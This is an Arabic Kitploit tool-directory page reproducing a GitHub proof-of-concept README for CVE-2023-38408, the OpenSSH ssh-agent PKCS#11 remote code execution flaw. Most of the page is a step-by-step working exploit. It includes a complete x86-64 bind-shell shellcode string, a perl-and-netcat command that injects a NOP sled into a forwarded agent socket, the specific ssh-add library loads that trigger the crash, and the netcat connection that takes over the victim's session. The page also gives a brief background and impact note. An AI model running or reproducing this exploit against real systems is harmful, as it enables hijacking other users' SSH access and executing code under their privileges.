Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-38408 — الاستيلاء على حساب OpenSSH | Kitploit
أدوات/GitHubGitHub/lucaspdiniz/cve-2023-38408
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولات
GitHublucaspdiniz/cve-2023-38408

CVE-2023-38408

الاستيلاء على حساب OpenSSH

عرض المستودع
4564منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

OpenSSH Vulnerability - CVE-2023-38408 📚

مقدمة

تم العثور على ثغرة أمنية في OpenSSH (قبل الإصدار 9.3p2). تحتوي ميزة PKCS#11 في ssh-agent ضمن OpenSSH على مسار بحث غير موثوق بما فيه الكفاية، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد إذا تمت إعادة توجيه الوكيل (agent) إلى نظام يتحكم به المهاجم (الكود الموجود في /usr/lib ليس آمنًا بالضرورة لتحميله في ssh-agent). يسمح هذا الخلل للمهاجم الذي يتحكم في مقبس الوكيل المعاد توجيهه على الخادم ولديه القدرة على الكتابة في نظام ملفات جهاز الضحية بتنفيذ تعليمات برمجية عشوائية بصلاحيات المستخدم الذي يشغّل ssh-agent.

في المثال أدناه، يمكننا ملاحظة الخطوات بإيجاز بدءًا من الاستكشاف وصولًا إلى اختراق مستخدم أليس.

  • الخطوة 1 - المستخدم المهاجم يتصل عبر SSH بالخادم.
  • الخطوة 2 - المستخدم أليس متصل أيضًا عبر ssh بالخادم.
  • الخطوة 3 - ينشئ المهاجم شيلكود (shellcode) لإرساله عبر عملية ssh إلى الخادم الهدف.
  • الخطوة 4 - يستغل الشيلكود الذي أرسله المهاجم ثغرة PKCS#11 في ssh-agent وينشئ عملية جديدة تختطف وصول ssh الخاص بالمستخدم أليس.
  • الخطوة 5 - ما زال بإمكان المهاجم، من خلال وصوله العادي، تنفيذ أوامر تشغيلية بصلاحية المستخدم أليس، والوصول إلى الاستغلال المُنشأ داخل الشيلكود عبر nc localhost 31337.

كيف ننفّذها؟ لنقم بإنشاء POC

كما ذُكر سابقًا، سنستخدم في هذا POC مستخدمَين متصلين بخادم عبر SSH. لاتباع الخطوات أدناه، نفترض أن المستخدمين لديهما إمكانية الوصول إلى الخادم (SSH).

  1. احصل على PID الخاص بـ ssh-agent الذي يعمل على جهاز المهاجم البعيد وقم بتصديره إلى متغير بيئة. أضفنا أيضًا عبر ssh-add الملف linuxx64.elf.stub (أداة إقلاع UEFI)
root@kitploit:~
echo /tmp/ssh-*/agent.* export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452 ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. الآن، لنسخ الشيلكود إلى العملية باستخدام SSH، عليك اتباع الخطوات التالية أثناء وجودك على جهاز المهاجم؛
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

أخيرًا، اضغط Ctrl-C لإيقاف نقل netcat بمجرد وضع الشيلكود بنجاح في ذاكرة ssh-agent.

  1. في هذه الخطوة، سنرفع 3 ملفات عبر ssh-add؛ libttcn3-rt2-dynamic.so و libKF5SonnetUi.so.5.92.0 و libns3.35-wave.so.0.0.0. الخطوة التالية في عملية الاستغلال هي تسجيل معالج الإشارة (signal handler) لإشارة خطأ التجزؤ (Segmentation Fault - SIGSEGV).

[!NOTE] تحفيز SIGSEGV 💬
SIGSEGV هي إشارة معروفة تصدر إلى عملية حاسوب عند حدوث مرجع ذاكرة غير صالح (خطأ تجزؤ). عند استلام إشارة SIGSEGV، يدرك النواة (kernel) أن وصولًا غير صالح إلى الذاكرة قد حدث، ويشرع في استدعاء معالج الإشارة المخصص بدلًا من إنهاء البرنامج فجأة. وبهذا، ينتهز المهاجم الفرصة للتلاعب بتنفيذ البرنامج وتوجيهه نحو الكود الخبيث المحقون الموجود داخل NOP sled.

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. عند هذه النقطة، نجحنا بالفعل في اختراق المستخدم أليس عبر وصول ssh الخاص بالمهاجم إلى الخادم، من خلال تنفيذ الأمر أدناه الذي أنشأه الشيلكود. 🔥
root@kitploit:~
nc localhost 31337

هل تؤثر CVE-2023-38408 عليّ ❓

تؤثر الثغرة بشكل أساسي على الأنظمة التي يكون فيها ssh-agent الخاص بـ OpenSSH قيد الاستخدام وتكون ميزة إعادة توجيه الوكيل (agent forwarding) مفعّلة. ينبغي على المؤسسات والأفراد الذين يعتمدون على OpenSSH تقييم إعداداتهم على الفور لتحديد مدى التعرض المحتمل. إذا كان نظامك يستوفي الشروط المذكورة، فمن الضروري اتخاذ إجراء فوري للتخفيف من المخاطر المرتبطة بـ CVE-2023-38408.

تنزيل الأداة